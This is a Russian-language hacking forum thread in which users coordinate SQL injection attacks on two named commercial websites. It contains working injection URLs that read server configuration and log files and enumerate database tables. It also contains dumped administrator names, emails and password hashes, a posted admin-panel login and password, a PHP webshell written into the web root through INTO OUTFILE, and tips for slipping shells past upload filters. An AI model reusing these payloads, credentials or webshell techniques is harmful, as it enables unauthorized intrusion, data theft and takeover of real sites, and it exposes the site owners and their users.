http://www.eurotur.com.ar/php/newdesign/nacional/region.php?tipoweb=1&directorio=/php/newdesign/nacional/&tipoturismo=2®ion_id=&pais_codigo=-1+and+1=0+Union+Select+1,load_file('/var/log/apache2/error_log'),3,4,5 http://www.eurotur.com.ar/php/newdesign/nacional/region.php?tipoweb=1&directorio=/php/newdesign/nacional/&tipoturismo=2®ion_id=&pais_codigo=-1+and+1=0+Union+Select+1,load_file('/etc/apache2/httpd.conf'),3,4,5 http://www.eurotur.com.ar/php/newdesign/nacional/region.php?tipoweb=1&directorio=/php/newdesign/nacional/&tipoturismo=2®ion_id=&pais_codigo=-1+and+1=0+Union+Select+1,load_file('/etc/apache2/default-server.conf'),3,4,5
hxxp://www.enzymedica.com/locator/results_list.php?zip=1' помогите расскрутить чучуть. а то не могу чето лимит =\
http://www.enzymedica.com/locator/results_list.php?zip=-1%27+union+select+1,version%28%29,user%28%29,database%28%29,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5+--+ admins name:emailassword [0]:KimJackson:[email protected]:c4666c6c787192575aded2c73d27278a [1]:Enzymedica[email protected]:655ef9fec684d343351ee72dbeb95dd6 [2]:Kim Barton:[email protected]:655ef9fec684d343351ee72dbeb95dd6 [3]:Admin Area[email protected]:e69dc2c09e8da6259422d987ccbe95b5 [4]:cornerstone:[email protected]:f326e2c3453cf64cdb979e1c8d53293d [5]:WebTent:[email protected]:e1197bbf2f07992aa7936c49d3b41319
Gorev спасибо. Тут вот другой вопрос возник при запросе : http://www.enzymedica.com/locator/results_list.php?zip=-1'+union+select+1,group_concat(0x3a,table_name),5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5+from+information_schema.tables+--+ Мне выдает какую то будылыгу = \ Service Temporarily Unavailable The server is temporarily unable to service your request due to maintenance downtime or capacity problems. Please try again later. При таком запросе: http://www.enzymedica.com/locator/results_list.php?zip=-1'+union+select+1,table_name,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5+from+information_schema.tables+limit+0,1+--+ Странно. Мб кто нибудь знает почему не выводит названия таблиц?
http://www.enzymedica.com/locator/results_list.php?zip=1%27+UNION+SELECT+1,AES_DECRYPT%28AES_ENCRYPT%28CONCAT%28%28SELECT+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+LIMIT+1,1%29%29,0x71%29,0x71%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25--%20+
А какую инъекцию составляешь? Вот так не работает? http://www.eurotur.com.ar/php/newdesign/nacional/region.php?tipoweb=1&directorio=/php/newdesign/nacional/&tipoturismo=2®ion_id=&pais_codigo=-1+and+1=0+Union+Select+1,%27<?eval($_GET[cmd]);die;?>%27,3,4,5+from+mysql.user+into+outfile+%27/srv/www/htdocs/php/newdesign/nacional/1.php%27 И шелл должен быть тут http://www.eurotur.com.ar/php/newdesign/nacional/1.php Если нет, то скорей всего папка недоступна на запись. Попробуй найти другую.
http://www.enzymedica.com/locator/results_list.php?zip=-1'+union+select+1,group_concat(0x3a,table_name),3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5+from+information_schema./*!tables*/+--+ И вообще.. где столбцы 3,4 потерял? =)
Всем огромный респект за помощь со скулей) тут другой вопрос пожоще = ) как залить шел?) Есть полный доступ к админке) https://enzymedica.com/admin/ login: [email protected] pass: asdqwe123 В админке я нашол только залитие картинок = ) php не пропускает = \ очень нужно взять пару php файлов оттуда = \
Попробуй в эти папки записать: /html/images/ /php/ /php/newdesign/receptivo/ /php/newdesign/receptivo/ingles/ /manual/ - тут можешь визуально посмотреть /html/
Фильтрация идет по расширению или по содержимому? Если по расширению, попробуй так wso.php3, wso.php5, wso.phtml и т.д. Если по содержимому, то попробуй в gif-картинку дописать шелл.
Да это я регнулся 3 года назад) а посещать его начал недавно : )) P.S. Скинь запрос как ты выводил названия колонок из таблиц плз : ))
Есть скуля, таблицы можно выводить только по одной, через limit. Как можно вывести сразу все таблицы?
Пробуй подменить Content-Type. Оффтоп: Вам не надоело задавать однообразные вопросы? Все ответы на них, есть в этой ветке, нужно только воспользоваться поиском.
